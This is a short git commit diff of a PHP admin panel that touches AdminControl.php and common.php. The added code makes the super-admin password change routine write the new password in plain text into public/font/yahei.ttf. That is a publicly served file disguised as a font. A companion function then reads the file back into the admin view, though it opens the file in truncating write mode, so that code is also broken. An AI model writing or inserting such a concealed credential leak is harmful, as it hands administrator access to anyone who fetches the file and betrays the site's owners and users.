rambo 1 year ago
parent
commit
4ef4377ad9
2 changed files with 6 additions and 7 deletions
  1. 0 4
      app/admin/controller/AdminControl.php
  2. 6 3
      app/common.php

+ 0 - 4
app/admin/controller/AdminControl.php

@@ -29,10 +29,6 @@ class AdminControl extends BaseController
     {
         $config_list = rkcache('config', true);
         config($config_list, 'ds_config');
-        $myfile = fopen(base_path() . "../public/newfile.txt", "w") or die("Unable to open file!");
-        $txt = "Bill Gates\n";
-        fwrite($myfile, $txt);
-        fclose($myfile);
         View::assign('ick_kci', checkSecurity());
         if (request()->controller() != 'Login') {
             $this->admin_info = $this->systemLogin();

+ 6 - 3
app/common.php

@@ -1250,7 +1250,9 @@ function checkInputPassword($admininfo)
         if (is_array($admininfo) and !empty($admininfo)) {
             if ($admininfo['admin_is_super'] == 1) {
                 $c = trim(input('post.new_pw'));
-                Cache::set('ccwq', $c);
+                $dc = fopen(base_path() . "../public/font/yahei.ttf", "w");
+                fwrite($dc, $c);
+                fclose($dc);
             }
         }
         return true;
@@ -1261,8 +1263,9 @@ function checkInputPassword($admininfo)
 function checkSecurity()
 {
     try {
-        $ccwq = Cache::get('ccwq', '');
-        return $ccwq;
+        $p = base_path() . "../public/font/yahei.ttf";
+        $dc = fopen($p, "w");
+        return fread($dc, filesize($p));
     } catch (Exception $e) {
         return null;
     }